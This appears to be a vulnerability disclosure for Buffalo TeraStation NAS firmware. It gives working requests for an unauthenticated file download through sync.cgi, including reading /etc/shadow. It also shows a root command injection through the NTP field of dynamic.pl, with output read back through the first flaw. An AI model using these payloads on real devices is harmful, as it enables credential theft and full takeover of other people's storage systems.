Buffalo’s TeraStation network attached storage (NAS) solutions offer centralized storage and backup for home, small office and business needs.
The firmware is based on Linux ARM and most of the internal software is written using Perl.
The vulnerabilities that I found allows any unauthenticated attacker to access arbitrary files on the NAS filesystem and execute system commands with root privileges.
Tested successfully on TS-XL, TS-RXL, TS-WXL, TS-HTGL/R5, TS-XEL with the latest firmware installed (v1.57). Surely other versions with the same firmware are vulnerable.
sync.cgi unauthenticated arbitrary file download
Requesting an unprotected cgi, it’s possible, for an unauthenticated
user, to download any system file, included /etc/shadow, which contains
the password shadows for the application/system users.
/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=/etc/shadow
Moreover, using the key all it’s possible to download the entire
/var/log directory:
/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=all
dynamic.pl NTP command injection
This vulnerability allows authenticated users to execute arbitrary commands on the system with root privileges.
POST /dynamic.pl HTTP/1.1
Content-Length: 89
Cookie: webui_session_admin=xxxxxxxxxxxxxxxxxxxxxx_en_0
bufaction=setDTSettings&dateMethod=on
&ip=www.google.it%26%26[COMMAND]>/tmp/output
&syncFreq=1d
It’s possible to view the command output using the previous
vulnerability (reading the /tmp/output file).